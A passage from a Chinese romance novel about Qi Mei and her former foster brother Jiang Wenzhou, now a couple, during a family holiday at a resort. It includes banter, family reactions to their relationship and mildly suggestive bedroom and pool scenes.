其次,“今年刚入职,要明年才有年假可以休。” 齐眉听了眨眨眼,看着他觉得有点可怜:“……啊、这么惨啊。” 顿了顿,语气又变了,“那不管你了,我跟干爸干妈商量去,反正你一个人在家也能好好的。” 江问舟:“……” 他忍不住吐槽她无情,可齐眉已经听不进去了,满脑子都是去玩去玩,还是去玩。 刚才关于别人的那点感慨就这样烟消云散。 接下来的一周,齐眉一面安排工作,一面跟孙茂芸商量去哪儿度假。 只有七天时间,要想去外地也可以,只是天气热,孙茂芸不久前刚去外地旅游回来,不太想短时间内再次出门。 “我很怕啊。”她长吁短叹,“上次出门回来,你俩给我扔一炸弹,说你们不当哥哥妹妹了,要当男女朋友,我一下就女儿女婿、儿子儿媳双全了?这次要是出去,万一回来之后,你俩又告诉我,我有外孙和大孙了,怎么办?我年纪大了,接受不了这种刺激咯。” 齐眉:“……”这个梗到底还要说多少次!!! 她跟江问舟讲这事,江问舟听了,先是沉默,半晌对她道:“要不你现在就测吧,要真是有了,就给她一点震撼,让她知道不管出不出去,炸弹该来还是会来的。” 齐眉:“???”你有病啊?! 她半晌不说话,江问舟扭头看她一眼,以为她是没听懂自己的意思。 遂解释道:“要是出去玩,你是跟妈一块儿去的,我又不去,所以这七天我们不会在一起,没办法授粉哈,离得太远了,要想在她回来的时候跟她说有孩子,就得是在出发之前揣上的,那你现在去测估计能看到……弱阳性?” 齐眉:“……” 她噎了一会儿,给他一脚,骂一句:“你想得美,做梦去吧!” 可不就是做梦么,江问舟笑着翻身压住她,亲亲她鼻尖,说既然是做梦,那就做大一点的吧。 接着问她:“你是喜欢女孩,还是喜欢男孩?” “……我又不能决定性别。”齐眉撇撇嘴,“我女的,只有X染色体。” 江问舟低头,靠在她颈窝里嗤嗤地笑,说:“想一下嘛,万一心想事成呢?” 顿了顿,他亲亲她的耳朵,继续道:“我先说,我想要个女儿,跟你小时候一样的。” 他带过八岁以后的齐眉,却不知道她八岁以前是什么样的。 “一定特别可爱?毕竟我们西西现在就很可爱。” 他说完低头亲亲她的脸,又亲亲鼻尖,顺着鼻梁一直亲到她的额头。 留下的轻吻每一枚都是温情缱绻的。 齐眉脚趾蜷缩起来,觉得热气开始蒸腾,她闭上眼,咕哝道:“可是女儿很多都会长得像爸爸。” “像我不好么?”江问舟笑着问她,“你不想见见我小时候?” 齐眉顿了顿:“……我在照片上见过了。” “照片和真人可不一样,我不上相。”江问舟一本正经地跟她瞎扯八扯,还拍了一下她胳膊。 齐眉下意识地抬手。 一件灰蓝色的纯棉吊带睡裙从被窝里扔了出去。 她一愣,过了几秒才反应过来他对自己做了什么,忍不住有些哎呀一声。 声音有些懊恼似的。 江问舟立刻问:“不要?” 倒也不是不想,齐眉努努嘴,嘟囔:“我是不是太纵容你了,你拍拍我胳膊我就抬手,哼哼,很不值钱的样子。” 江问舟被她这话说的都不知道该怎么回才好,只是哭笑不得,半晌才低头用额头撞了一下她的鼻子。 然后说她:“胡说八道什么,赶紧把你手机里的小说软件卸载了,少看点不讲逻辑的小说。” “这叫默契,默契懂不懂?”他说完没好气地咬一口她的脸。 齐眉缩起脖子往他怀里钻,皮肉贴到一起时是温热的,但不会让人觉得厌烦,毕竟正当妙龄的青年皮肤光滑肌肉紧实,戳起来都觉得弹性十足,齐眉很喜欢。 巧了,江问舟也是这么想的。 他爱齐眉的灵魂,但同样为她的身体倾倒。 俩人就这么你摸我我摸你的玩了好半天,齐眉觉得自己的嘴都快亲秃噜皮了,才扬起脖颈躲开。 江问舟也不追逐,吻随意地落在她下巴上,再沿着下颌线一路向下。 气氛一点点转热。 齐眉的手还在江问舟身上揩油,这里捏一把,那里摸一下,反正是觉得很好玩。 半晌指尖突然触碰到一处感觉手感不同,她神智这会儿有点飘忽,还要想一下才反应得过来自己摸到了什么。 促狭心突如其来,她想也不想,用指尖捏住那一点,用力一揪。 接着就听见江问舟发出一声倒吸一口气的吃痛声。 “嘻嘻。” 江问舟顿时就气笑了,好好的,你给我来这一出是吧? 他板起脸来,抱着她的腰翻了个身,让齐眉趴在自己身上,然后拍拍她的后腰,冷着声道:“起来,该你动了。” 齐眉一愣:“……凭什么?” “谁让你刚才揪我的?”江问舟捏住她鼻子,还是板着脸,“很疼知不知道?” 齐眉立刻心虚,先是蹭蹭他脖颈,然后才撑着他的胸口坐起来。 她居高临下地看着江问舟,看他和自己四目相对时眼神里柔和的笑意,哪里有一点生气的样子。 “我就知道你是吓唬我的……”齐眉嘟囔,用指尖戳戳他的胸,“你就只吓唬我。” “没有办法,只有一个齐西西。”江问舟忍着笑,扶住她的腰,催促道,“快点,明天还上不上班了。” 齐眉懒洋洋地直起腰,江问舟下意识地屏住呼吸。 可她突然又停住,说:“我也觉得女儿挺好的,不,是性别都可以,但是要长得像我,你会驮着他让他坐在你肩膀上,弥补他妈妈只能骑哥哥身上没有骑哥哥肩上的遗憾。” 江问舟:“???” 你从哪儿学来的垃圾话!是这个时候该说的吗?! 刚刚屏起的一口气顿时就漏了,他咬咬牙,干脆还是把这个扫兴又磨叽的家伙从自己身上扯了下来。 “下来下来,你哥不让你骑,不骑就没有遗憾了!” “……喂!”齐眉不满,觉得这人实在太坏了。 可抗议没什么效果,卧室里的动静先是静下去,随后又响成一片让人脸红的暧昧。 最后在孙茂芸的坚持下,他们选定的度假地点,是在容城下辖的正阳县的一处度假村,环境很好,背山面水,夏天非常凉爽,要是天气够好,还可以去爬爬山锻炼锻炼身体。 而且九月份似乎人不多,孙茂芸能订到带泳池的小别墅,正好可以让年年也泡泡水。 当然,最最最重要的是,那边归干休所管,以江眀琮的级别,他们能打点折,又因为跟干休所挨着,江眀琮可以去探望探望住在干休所的老领导,这简直一举两得。 她和江眀琮周五就带着金金和年年住过去了,齐眉则是第二天早上下班,回来收拾行李,让江问舟送她过去。 收拾行李的时候,她在衣柜面前挑选,要一套套搭起来,还要带泳衣。 “有泳池呢,我要去游泳,我要自己占一整个游泳池!” 正在帮她叠衣服的江问舟闻言,眼睛一眨:“也顺便带上我的?” 齐眉一愣,疑惑地回头:“你不是要上班吗?” “有备无患,万一哪天我下班早呢?去看看你们。”江问舟应着,将手里的小盒子塞进行李箱里。 齐眉看见盒子的颜色,呼吸一顿,震惊地“你”了半天,才得以把话说完整:“……我带这玩意干什么?你又不去!” 江问舟还是那句:“万一我哪天下班早呢?去看看你们。” 说完顿了顿,仰头看她一眼,才似笑非笑地继续道:“主要是防止妈被大孙号炸弹袭击,你觉得呢?” 齐眉:“……” 她白他一眼,吐槽:“有本事你当着干妈的面说。” 江问舟笑笑,半转移话题:“其实我今晚就会在那边住,晚上要一起游泳吗?” 齐眉眉头一皱:“你明天不是要值班?住那边……上班会迟到的吧?” “早上早点走就是了,也就三四个小时车程。”江问舟无所谓地应道。 齐眉知道这人肯定劝不住,但还是忍不住:“那得四点就出门,大晚上开车很不安全诶,算了吧,你吃了晚饭就回来。” “就一次,没事的。”江问舟摇头失笑,“再见面大概率或者是下个周六我去接你们的时候了。” 所以小盒子其实为今晚准备的呗?齐眉努努嘴,对他发出指指点点的声音。 他们到度假村的时候,已经快到下午三点,别墅里一个人影都没有,也没有金金或者年年的动静。 倒是齐眉收到了孙茂芸的信息,说他们去隔壁干休所看望老领导了,让她和江问舟自己解决晚饭。 别墅有一间房间正对着泳池,而且是推门就到泳池边上,江眀琮两口子把这间房留给了齐眉。 江问舟帮她将行李送过去,她则是在客厅翻翻找找,找到度假村的服务电话,打电话去询问怎么点餐。 等江问舟出来,她已经在小程序上点好餐食,抬头一看,这人已经换了一身衣服。 军绿色的速干短裤和灰色T恤衫,拖鞋不好好穿,趿拉在脚上,走起路来像是在地上拖着,啪嗒啪嗒的尾音听着就很懒散。 他比她这个正经休假的人更快进入度假模式呢。 齐眉刚想说什么,江问舟就直接往她旁边一坐,继而歪倒在她身上。 问她:“去游泳吗?我看水很干净。” 客厅的茶几上有客房服务的登记卡,上面有每天的服务项目,后面打了勾的表示已经完成,其中就有泳池消毒和换水。 齐眉应了声好,但要等吃的送过来。 “吃完了再去,我饿了。”她说着推了这人一把,让他起来。 俩人拉拉扯扯间,齐眉的手机响了,一看,是孙茂芸的电话。 “你起开,我要接干妈电话。” “你接嘛,我又没有压住你的手和耳朵。” 齐眉被他挤到了沙发一角,觉得他麻烦,又推不开,只好就这么接起电话。 孙茂芸先是问她到别墅了没有,她嗯了声:“在了,刚到,叫了餐还没送过来,我哥也在,干妈有什么话要交代他吗?” 刚说完就察觉背上一重,江问舟故意把自己的重量压到她身上。 孙茂芸听见她在那边高声:“你发什么神经,压扁我你就高兴了?” 她不由得失笑,等齐眉再喊她,她就笑眯眯地道:“我没什么话要交代他,你们俩在家好好的啊,别吵架,早点吃饭,知道么?” 齐眉乖巧地哦了声。 孙茂芸收线,听到一旁正给江眀琮和她杯子里倒茶的老领导笑着问:“是小肖那个女儿?” 第85章 第八十五章(二合一)我来尝尝度假村…… 孙茂芸今天和江眀琮过来探望的,是江眀琮以前的老局长,他私底下喊师父的。 据说从前齐眉的母亲肖骊还在时,也是老局长带的。 肖骊去世之后,老局长曾经提出要齐天远为了孩子尽快脱身撤回,但他说自己如果离开,之前所有的布置将功亏一篑,老局长也就不再坚持。 及至齐天远去世,老局长还伤心的跟江眀琮说,要是自己当初勒令齐天远回撤,是不是就不会死了。 但木已成舟,没办法再挽回,于是老局长很关心齐眉的生活,她能留在江家,除了齐天远生前意愿和江眀琮极力争取,他也出力不少。 尤其是在齐眉烈士子女的待遇上,老局长是很关心的,当时要不是他盯着,事情恐怕没这么顺利。 听闻他问,孙茂芸便笑着答应道:“是她,西西昨天值班,今天下班才和我们家那个捣蛋鬼一起过来的,刚到呢,饭都还没吃。” 又说明天或者后天,再带齐眉过来看他。 老局长笑眯眯地应好,他年纪大了,记性已经不太好,接着问:“她多大了?我记得好像……应该有二十五六岁了?” “刚过完生日,二十八啦。”孙茂芸笑道,“日子过得快,一眨眼就过了二十年,她刚来容城那一年,才八岁呢。” “那是不小了。”老局长笑眯眯地点头道。 和江眀琮他们一起来的,还有比江眀琮早两年退休的同事许政委,这时接着问:“她谈对象没有?” 许政委最近在为儿女事操心,女儿已经年过三十,却死活不愿意成家,别说结婚,人家连恋爱都不想谈。 一开始以为是心里有人或者受过情伤,结果都没有,就是不想谈,觉得还要忙完工作还要和另一个人相处,照顾对方情绪,做什么都要考虑对方感受,实在太烦。 可是,这怎么行呢,这样一个人生活,年轻的时候还好,老了呢?说句不好听的,家里没个人,要是哪天半夜起来在厕所晕倒了都没人扶。 孙茂芸对他表示理解和同情,但同时她也松口气,笑着点点头:“有了呀,就是我们家舟舟。” 老局长和许政委一下没听明白,都愣住了,望着她,眨巴眨巴眼睛,一脸茫然模样。 “哎呀,就是西西,和我们家舟舟,谈恋爱啦。”孙茂芸一面解释,一面将两根食指贴在一起,觉得不够,又换成两个拇指屈着对到一起做亲吻状,“这样明白了吧?” 明白当然是明白,可俩人还是一副震惊的模样,瞪眼的动作如出一辙。 半晌许政委才摸着后脑勺问:“……怎么会……不是骗我们的吧?” 说着用求证的目光看向江眀琮。 江眀琮翻了个白眼:“谁拿这种这么严肃的问题开玩笑,俩孩子从小一起长大,在申城读书工作的时候互相依靠,处出感情来了,这不很正常么。” “可是……”许政委的脸孔微微有些扭曲,“他们不是当兄妹相处的吗?这、这这这……你们居然也同意?” “不同意还能怎么办?谈都谈了,难道还能逼他们分手?”江眀琮又翻一个白眼,“那不闹得这个家都散了才怪呢,再说了,他们又不是亲兄妹,养兄妹都不是,想让他们分开也没站得住脚的理由啊。” 许政委的表情顿时又变成着急,看向孙茂芸,问道:“你们就不怕别人笑话,也不劝劝?” 语气颇有些恨铁不成钢,甚至还有点责备的意思。 这种话往常不知道听过多少,名目众多,不管什么事,好像最后都会落到“怕别人笑话”这个点上。 大到齐眉要放弃当医生去开酒吧,小到她休息日爱睡懒觉,又或者展示丈夫特地给她买的款式有点老的首饰…… 她听到人家笑着说“你怎么怎么样,也不怕别人笑话”,心里多少会有些尴尬,次数一多,就渐渐忽略了心底涌动过的抗议声。 有什么好笑的呢?你们觉得好笑我就不过自己的日子了么? “笑话?有什么可笑的!”孙茂芸忽然就不高兴了,音量倏地拔高,“我们又没做什么见不得人的事,孩子长大了,有独立的思想和经济能力,有权利选择自己想要的生活,家长干涉太多,最后闹得父母和子女离心,天天吵吵闹闹,别人就不笑话了?” 再说了,“他要是怕别人笑话,就不会开始,他都不怕,我们怕什么,又不是我们当父母的逼他们在一起的。” 她发作得很突然,许政委被吓了一跳,讷了一下才开腔:“……是、是是是,你说的也对,是这个理,家里还是太太平平的好。” 顿了顿,他才有些小心翼翼地问:“那就……他们就这样了?” “不然呢?”孙茂芸反问他,“不想这样也不行了吧?他俩不结婚我看收不了场。” 老局长在最初的震惊过后,很快就恢复平静,闻言笑道:“要是以后发现不适合,要分开,就让他们去,年轻人有年轻人的想法,大方向不乱就行啦。” 这年头太老实的人往往会错过很多,甚至连“老实”这个评价,都隐隐有了其他意味。 这话不刺耳,孙茂芸的态度立刻变回刚才,笑着应了声是。 江眀琮跟许政委关系好,这时便吐槽道:“老许你真是岁数越大越没见识了,这有什么好稀奇的,我们又不是没办过比这更夸张的案子。” 什么表兄妹发生了关系,但世所不容,所以分开各自嫁娶,但婚后仍然暗地里保持来往,最后被女方丈夫发现,一怒之下把俩人都给刀了。 还有堂妹暗恋堂哥,从堂嫂第一次来家里就嫉恨对方,忍到他们结婚之后,借口想去他们定居的城市旅游,借住进他们家,趁着堂哥值班那天夜里,把堂嫂刀了,还把现场拍下来发给堂哥看,然后报警自首,被带走的时候还问堂哥是不是这辈子都会记得自己。 “我是看明白了,感情这玩意儿根本不受血缘控制,该来它总会来。” 孙茂芸听得心惊肉跳,同时又很庆幸:“这么说来咱们家这俩还可以哈?” “那是相当可以,这不就跟和对门从小玩到大的小伙伴在一起了一样么。”江眀琮拍拍她肩膀,严肃地点点头。 家里两个小孩的事木已成舟之后,虽然他没像妻子那样明说,但其*实也很不习惯的,直到最近才调整好心态。 就是靠回忆这些案件,不停地给自己洗脑,比起这些最终无法挽回的,齐眉和江问舟要好太多太多。 比上不足,比下有余嘛,哎呀,不然还能真把他们打死了?凑合过吧。 “是啦,儿孙自有儿孙福,父母管不了一辈子的。”老局长喝口茶,笑眯眯道,“我看也蛮好,知根知底的,省心。” 顿了顿,又叹口气,声音有些遗憾的感慨:“这样也算是对得起小肖和天远啦。” 提到他们俩,客厅里气氛顿时有些沉默。 在地上趴着玩在一起的金金和年年感觉到气氛变化,有些担心的看着大家。 不过也很快就恢复过来,江眀琮笑着岔开话题,跟老局长问起另外一位老领导的近况。 下午四点左右,齐眉吃完迟到的午餐,玩了一会儿手机,看看太阳已经偏西,便招呼江问舟:“走啊,不是说要去游泳吗?” “你先去换衣服,我给你削个梨端过去。”江问舟看着手里的水果刀,头也不抬地应道。 “记得把我的奶茶也带上!” 话音刚落,人已经不见影了,只听见一阵嗒嗒远去的拖鞋声。 江问舟把梨削好,切成小块,再扎上两根牙签,带上齐眉的奶茶,出了客厅往泳池走。 还没靠近就见披着大毛巾的齐眉正光脚蹲在泳池旁边,弯腰探手去试水温,头发盘成松散的丸子头顶在头顶,黑色的真丝发圈在阳光下闪动着光泽。 阳光落在一半的水面上,映出一片清凉的波光粼粼。 “怎么不下去?”他笑着问道,用脚勾住路过的小茶几,一起往她那边走。 “马上。”齐眉应了声,转过身去看他,笑眯眯地说了句,“我哥辛苦啦。” 她穿着酒红色的挂脖式连体泳衣,蹲姿让大腿挤压着胸口,愈发显得上围丰满,大片的白如凝脂一般,是充满诱惑力的丰腴。 江问舟赶紧借着放东西的动作低头转开视线。 然后发现小茶几有点高,不太方便泳池里的人取用东西,只好又将小茶几撇到一边,将奶茶和果盘放在齐眉脚边上。 然后直起身,伸手想揉揉她的头,又怕把她头发弄散开了,只好捏捏她耳朵。 学她的语气回了一句:“不辛苦,为西西服务。” 齐眉:“……”怎么感觉怪怪的。 她啧了声,抬手挥开他,将肩膀往后一张,毛巾就从肩膀上滑落下去。 然后在泳池边坐下,腿往池里一伸,开始啪啪啪踩水。 水花在她的哈哈笑声里溅起,在日光里晶莹闪耀,江问舟看了不禁失笑。 一边说你可真幼稚,一边摇着头转身往齐眉那间客房走。 齐眉哼了声,撑着池边往下一滑,整个人浸入水中,清凉的池水瞬间驱散炎热,她忍不住长长地呼出口气来。 真舒服啊,夏天就该待在游泳池里。 她转了个身,朝客房方向看去,发现客房的落地窗帘不知什么时候竟然被拉开了。 透过玻璃窗,她正好能看见江问舟换衣服的动作。 男人标准的倒三角身材上块垒分明的肌肉格外攫人眼球,光是看着,就让人忍不住遐想触碰它时的手感。 ——齐眉最清楚不过了,可正因如此,她觉得自己格外眼馋。 甚至忍不住咕咚咽了一下口水。 反应过来之后忍不住一阵赧然,脑袋一缩,人就钻进水里了。 她看江问舟的时候,江问舟也看着她呢,见她这样不由得一阵好笑。 但同时他也很得意。 他笑着将窗帘拉上,等换好衣服出来,就见齐眉正仰面躺在水池里飘着。 看见他出来了,她便翻身游回池边,趴在池沿上仰头看向他:“下来吗?” 江问舟给她的回答是直接咚一下跳进水池,溅起一大片水花,向她劈头盖脸地砸过来。 齐眉立刻闭上眼发出一阵尖叫,还没等她睁眼骂人,就被江问舟一把拽了过去,脸上的水珠被他的吻堵进了口中。 她睁开眼,清晰地看见他脸上的细小绒毛,还有被水湿润过的根根分明的睫毛,水珠挂在他的发丝末梢,滴滴答答地往下滴。 她最后将视线停留在他微微颤抖的眼皮上。 不知道为什么,她突然想起小时候装睡,要是被干妈发现,她就会按住她骨碌乱转的眼睛,嗔怪道:“不想睡就起来去背书,装睡这种小把戏你哥已经玩过了。” 她忍不住噗嗤一下笑出声来。 笑声直接冲进江问舟嘴巴里,他顿时一愣,睁眼错愕地看着她。 这对吗?这可是在接吻,接吻! 你突然笑出声是几个意思?是我亲的很好笑? 齐眉见他的震惊里似乎掺杂着受伤,不由得赧然,不专心确实是她的错,于是连忙腻歪过去,伸手勾住他脖颈。 “我是想起小时候的事了嘛。” 她叽叽咕咕地说起小时候装睡被大人抓包的糗事,江问舟一面听,掌心一面在她后腰处摩挲。 滑腻柔软的触感传来,他心神情不自禁地一晃,齐眉说了什么,他完全听不进去。 “你刚才眼睛就在动啊动,是不是小时候就用的这招……唔——” 她没说完的话被堵了回去。 江问舟觉得自己再也忍不了,他想吻她,像口干舌燥的人需要喝水一样理所当然。 他扶住齐眉的腰,将她抱着靠向自己。 吻愈发深入了。 齐眉察觉他伸了舌头,便也跟着探出舌尖和他纠缠到了一起。 她觉得腰有点疼,是被江问舟用力握住时掐的,但这种痛觉逐渐变苏变麻,小腿一阵发软,她忍不住向他的身上依靠。 他们在水池里拥吻,日光照在他们身上,这是以前从未有过的事。 “西西,我想要你。”他伏在齐眉耳边低声道。 齐眉一怔,喘了两口气,声音和眼神一样蒙着一层水汽:“……啊?现在?在……在这儿?” 江问舟嗯了声,伸手抓住她脖颈上的泳衣细带,低沉的声音既急切又坚持:“我想要你,西西,给我好不好?” 齐眉有些发懵,怎么这么突然…… 可是想到马上就要分开一周这么久,她又忍不住心软,只说要回房间去。 “你快一点,一会儿干爸干妈该回来了……” 话音未落,人已经被托出了水面。 ————— 齐眉整个年假都待在度假村,走得最远的距离,就是跟着孙茂芸和江眀琮去隔壁干休所探望老局长。 被老人家有意无意地问起和江问舟之间的事,她看一眼孙茂芸,在她无奈的目光和耸肩的动作示意下,都一五一十地回答了。 等到从干休所出来,回度假村的路上,她有些忐忑地问孙茂芸:“我和我哥的事……会不会给你和干爸带来什么不好的影响?” 孙茂芸翻了个白眼,堵她一句:“现在才考虑这个是不是有点晚了?” 拜托,都木已成舟了,还说什么影响坏不坏,有必要么? 齐眉讪讪,确实有点马后炮哈,听起来有点假惺惺的。 “能有什么不好的影响,你别瞎想。”孙茂芸接着叹口气,拍拍她脑袋,“你又不是我们拐来的,我们行得端坐得正,能有什么事。” 虽说老许那个大喇叭已经把这事嚷嚷得大家都知道了,也有人给她和江眀琮发信息或者打电话来问,但也就那样吧,新鲜劲过了就好了。 根本谈不上什么不好的影响。 “幸好现在接听电话已经不收费了,要是早年间还双向收费那会儿,我才不接他们的电话。” 孙茂芸说完忍不住哼了一声。 齐眉这才放下心来,心里暗暗一想,觉得这时事件余波才总算完全过去。 她和江问舟生活中所有接触得比较多的圈子如今都知道他们的真实关系了,大家似乎都比较平静地接受了这个事实。 这很好,非常好。这原本就是一件普通至极的事。 假期余下的时间她在别墅里窝着一步也不出去,用孙茂芸吐槽的话来说就是:“真是个合格的大家闺秀,大门不出,二门不迈。” 要什么都从小程序下单,让客房服务人员送过来。 江眀琮和孙茂芸去爬山的时候,她在别墅里睡大觉,睡醒就吃吃喝喝,还有看电视剧和电影,唯一的运动,就是每天下午在游泳池里游十五分钟。 说她颓废,她还挺自律,说她自律,做的事又真的不像。 有时候还拉着两位家长一起,一家三口拿泳池当大浴缸,泡进去之后一边喝鸡尾酒一边聊天,一起看年年狗刨,连岸上没下去的金金也被泼了点水,脑袋湿漉漉的,衬得眼睛更大更圆。 江问舟知道以后,都快羡慕坏了。 容医大开学一般是在九月份的第二个星期一,刚好是齐眉休假这一周,她周日晚上跟江问舟视频时还问:“那你明天就要去上课了吗?” “不,是后天下午。”江问舟解释道,“我负责两个班的心血管系统这一章节,但只是一个班的责任老师,责任老师要上开课第一讲,所以是周二下午去一趟,然后就等课程排到心血管章节时再去了。” 齐眉哇了一声:“外科学那本书那么厚,每个章节都换老师吗?这得多少个老师才够?” “应该有十几个,有的章节是两三个老师同时负责,都是只上一次或者两次课,主要是学校要求融合教学,要以临床实际病例为主,大家的主攻方向又不一样,所以……你懂的。” 他说到这里忍不住吐槽她:“你别说得好像你是个门外汉一样,以前我们不也这么过来的?” 齐眉嘻嘻笑了好一会儿,才继续道:“我隐约记得我们是五六位老师负责的,反正肯定不到两位数。” 江问舟应是,说两所学校在培养方式上有少许差别,但他接着又讲起学校食堂,说味道不错,他已经拿到学校的饭卡了,改天带她去尝尝。 一开始齐眉还能他说一句就应一句,但慢慢的,她这边应答的频率越来越低,最后江问舟只听见一阵均匀的呼吸声。 他说到半截的话戛然而止,叫了声她的名字:“西西?” 无人应答,听见的只有她起伏的呼吸声。 手机滑落在枕头上,镜头正好对着她的锁骨,江问舟因此看见她均匀起伏的胸廓。 看了一会儿,他竟然也忍不住打了个哈欠。 但又舍不得挂断,干脆手指一松,手机也滑掉在枕边,任由困意席卷而来。 至于手机什么时候息屏,明天起来它会不会一点电都没有,无人在意。 齐眉一觉睡到快中午,还是被敲门声吵醒的,门外传来孙茂芸的声音:“……快点起来,不要再睡了!” “再睡天都要黑了,睡这么多,晚上又要睡不着要熬夜……” 齐眉连忙啊了声:“知道啦——” 听见她的回应,门外的声音顿了一下,才接着继续响起。 但是这回语气温和许多:“快点起来,准备吃午饭了,你要睡就等吃了午饭再睡。” 齐眉又应一声,想找手机看看具体时间,摸到手机一摁,发现不知道什么时候已经自动关机了。 这时才想起,昨晚和江问舟聊到最后好像没挂电话就睡着了,可是…… 我不挂你也不挂?不然怎么会电量耗尽自动关机? 她一面嘟囔着抱怨这人真是离谱,一面从床上坐起来。 怔怔发了一会儿呆,这才慢吞吞地下地去洗漱,洗漱出来一边换衣服一边给手机开机,看到江问舟七点多发的早安,回了他一个龇牙咧嘴的表情包。 最后打着哈欠走进客厅,抓着头发问:“中午吃什么呀?” “吃龙肉。”正在给梨削皮的孙茂芸很没好气地应道。 齐眉嘿嘿讪笑,看见江眀琮提着两个大袋子回来,连忙迎上前帮忙。 “这是什么呀?” “火锅呀。”江眀琮笑眯眯地应,“今天中午咱们吃火锅。” 大热天吹着空调吃火锅也很舒服的,还方便省事。 齐眉立刻就说她来准备锅底。 别墅里准备的火锅锅是鸳鸯锅的,所以孙茂芸挑了番茄和清油两种火锅底料,齐眉将火锅底料倒进锅里,按说明加水,端到餐桌上。 “西西,来把青菜拿过去。”江眀琮招呼道。 她赶紧回来接过,问道:“一会儿喝什么呀?” “椰汁呗,昨天买的一大瓶椰汁还没开呢,够喝了。”江眀琮应完,让她把一盒牛肉拿过来。 齐眉刚把肉拿过来,年年蹿了进来,江眀琮立刻低头跟它说:“这就是给你和姐姐的,先出去,一会儿就吃饭了。” 不知道年年听没听懂,反正它一屁股坐下,眼巴巴地盯着锅,咧着个嘴,一副口水马上就要下来的馋嘴相。 齐眉不由得失笑,拿过来手机拍了张照片发给江问舟。 再看看时间,这会儿是真的到中午了,还差五六分钟就到正午十二点,她干脆给江问舟点了一份带咖啡的套餐。 江问舟上午的门诊结束,已经是快到中午一点,下楼拿外卖时顺路给齐眉打个电话,想问问她在做什么。 结果电话接通,那边传来的却是孙茂芸的声音:“干嘛?” 声音顿时在喉咙里卡住,硬生生的将本来亲昵的语气变成寻常:“……妈?西西的手机怎么在你这儿?” “你说她啊?”孙茂芸有些忍俊不禁似的,“正在西瓜大作战呢。” 江问舟一愣:“……这是什么?” “西西开了个西瓜,要做什么西瓜特调,金金和年年想吃西瓜,就一直缠着她。”孙茂芸解释完,还喊了声年年。 接着又嘟囔了一声这馋鬼,看来年年是没搭理她。 江问舟不由得失笑,静静听了一会儿那边的动静,等拿到外卖往回走时碰到同事了,这才挂断电话跟同事打招呼。 等他提着外卖回到休息室,坐下刚开始吃饭,就收到齐眉发过来的信息。 是一张照片,照片里三杯装饰着柠檬片的饮品,红色的西瓜果肉被捣碎了沉在杯底,果汁将原本透明的液体染得带上一抹很淡的红。 还加了薄荷,没等他问这是什么特调,就见齐眉的新信息过来了:【炎炎夏日,要来一杯清凉解暑的西瓜莫吉托吗?】 江问舟笑着叹口气,扭头看一眼窗外的大太阳。 【先存在你那里,等你回来我再喝。】 发过去之后,挑挑拣拣,又补了个小猫皱眉叹气的表情包。 齐眉端着酒杯,看着他回的消息,觉得这表情包佐酒可太好了。 她甚至有些得意地故意为难他:【这是度假村限定特调,回去就没有了,哎呀,看来你是没有口福咯~】 你瞧瞧这人多气人,江问舟用脚趾盖都能想象得出这人幸灾乐祸的语气。 他刚要回复,就想起什么,先退出聊天页面去看了一眼课程表,发现明天下午这次课只有两节,四点多的时候就下课了。 要是他不回科室的话,那会儿就可以下班了。 看完课程表,江问舟一面在心里盘算去度假村有没有什么近路可抄,一面给齐眉回信息:【那真是太可惜了,我们这个交情,你就不能破一下例么[难过]】 齐眉还是得意洋洋:【看我心情吧,或者你求求我[嘿嘿.jpg]】 江问舟:“……”好好好,这可是你逼我的:) 齐眉手里的酒喝完最后一口,看到了江问舟发过来的双手合十表示拜托拜托的表情包,觉得她哥真的太配合演出了。 虽然彼此都知道这不过是一句玩笑。 不就一杯酒么,什么度假村限定,那都是胡说的,只要有西瓜,她随时能给他做。 但齐眉没想到的是,第二天晚上会见到江问舟。 刚吃过晚饭没几分钟,孙茂芸喊齐眉出去散步,齐眉嫌天热不想动,俩人正拉扯呢,外头门铃声响了。 江眀琮出去一看,竟然是江问舟来了。 他有些错愕:“……怎么这会儿过来了,下午不上班?” “今天回学校上课,四点就放学了,时间早,过来看看你们。”江问舟应道,弯腰抱起跑出来的金金。 听见说话声,齐眉和孙茂芸也不拉扯了,一道从屋里出来,都对他的突然出现感到奇怪。 江问舟于是又解释了一遍,还是刚才的说辞,下班很早,过来看看他们。 但说话的时候,看向齐眉的目光却似乎有些欲言又止。 齐眉有些疑惑,茫然地看向他,刚想问,就听他继续道:“爸妈要出去散步?” “是啊,你吃饭没有?”孙茂芸点点头,问道。 他说没有,孙茂芸就扭头对齐眉道:“反正你也不肯出去,你哥就归你管了?” 齐眉连忙点头应好,甚至很明显的露出松口气的表情。 交代完这一句,孙茂芸和江眀琮就带着金金和年年出门散步了,度假村里供客人锻炼和休闲的设施很齐全,绿树成荫的环境空气也凉快清新,金金和年年可以玩很久。 齐眉跟在他们后面过去关了门,回头问道:“你办公室真没活儿了?竟然有空……” 她觉得不应该啊,可话没说完,就被江问舟迅速打断了:“我来尝尝度假村限定版的西瓜莫吉托到底是什么味道?” 齐眉:“???” 她表示不信,这人肯定是开玩笑的,“少来,你要是明天上班迟到了可别把锅推给我。” “当然,我会为我的选择负责。”他一本正经地答应,催齐眉快点给他上酒,“我相信它一定值得我跑这一趟。” 齐眉一噎,看他的目光渐渐变得不那么确定。 “……你来真的?” “不然呢,快点。”江问舟说完,屈指弹了一下她的额头。 一次两次还当他是开玩笑,可到第三次,齐眉就真的信了,直呼他有毛病。 “你真是疯了,四五点起来开车出门,乌漆嘛黑那么危险,出点什么事你就老实了……” 她一边吐槽,一边还是从冰箱里掏出来一块西瓜,给他调了一杯莫吉托。 等孙茂芸他们回来,又迫不及待地告状,强烈要求他们对江问舟实施制裁,禁止他接下来几天再踏足度假村。 江问舟笑眯眯地答应了,才刚过九点,就被他们赶回房休息。 和他一同回房的还有齐眉,准确地说,是他把齐眉留了下来,问就是想她了。 “前天晚上跟你视频的时候就很想你,你不在,我睡得不踏实。” 他声音温软中带着怅然,齐眉听得心里一酸,立刻就说:“那今晚我陪你,咱们早点睡啊?” 江问舟亲亲她鼻尖,笑道:“谢谢西西。” 齐眉这会儿觉得自己可重要了,没我我哥真的不行! 于是她动作迅速地安排好江问舟的洗漱,自己还跑去借用了孙茂芸他们房间的浴室,九点半刚过,她就钻进了被窝。 “哥,快睡,我给你定了四点的闹钟。”她一面催促,一面转身关灯。 灯光刚熄灭,她就被压住了。 刚要拒绝,就听江问舟说:“一次?” 齐眉犹豫片刻,还是答应了,“……就一次哦。” 江问舟保证自己说话算话……才怪,齐眉能让他得手第一次,他就能好事成双。 第二回结束之后,齐眉趴在他怀里整个人都聚不起力气来,只能任由他揉捏自己的腰背。 察觉他的手指有向下走的趋势,她赶紧连连摇头:“不了不了,已经很晚了,算了吧?” 